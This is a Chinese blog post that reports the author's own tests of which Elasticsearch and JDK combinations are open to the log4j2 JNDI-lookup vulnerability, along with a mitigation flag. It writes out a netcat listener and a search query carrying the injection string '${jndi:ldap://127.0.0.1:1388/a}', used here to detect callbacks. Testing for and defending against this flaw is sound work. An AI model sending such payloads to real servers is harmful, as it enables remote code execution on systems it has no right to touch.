Elasticsearch与最新的log4j2零日漏洞

本文介绍了针对Elasticsearch的log4j2零日漏洞的个人测试结果。测试发现,只有ES 5+JDK8能复现远程代码执行问题,而其他版本如ES 5+JDK12、ES 6+JDK8、ES 7+JDK8等均未出现此问题。通过设置-Dlog4j2.formatMsgNoLookups=true可以防止5.6.16+JDK8版本的问题。尽管如此,建议等待官方的正式通告和解决方案。
摘要由CSDN通过智能技术生成

今天真的是焦头烂额,新出来的这个log4j2零日漏洞看起来杀伤力极大,影响了Apache Struts2, Apache Solr, Apache Druid, Apache Flink等重量级的开源项目。当然也包括我们的Elasticsearch。在官方正式的通告、解决方案,补丁出来之前,我这里先简答说一下我个人的测试结果(注意,不代表官方!)

划重点:

我个人的测试结果是:只有ES 5+JDK8能复现。ES 5+JDK12,ES 6+JDK8,ES 7+JDK8均无法进行远程代码执行

测试方案:

  • 使用nc命令,查看网络连接情况,这里我监控的是1388接口: nc -l 1388
  • 构造特殊查询,使ES打印出会访问1388端口的ldap语句:
// 输入代码内容
{
  "query": {
    "bool": {
      "filter": {
        "bool": {
          "must": [
            {
              "term": {
                "call_date": "${jndi:ldap://127.0.0.1:1388/a}"
              }
            }
          ]
        }
      }
    }
  }
}
  • 然后查看特定端口会不会被连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值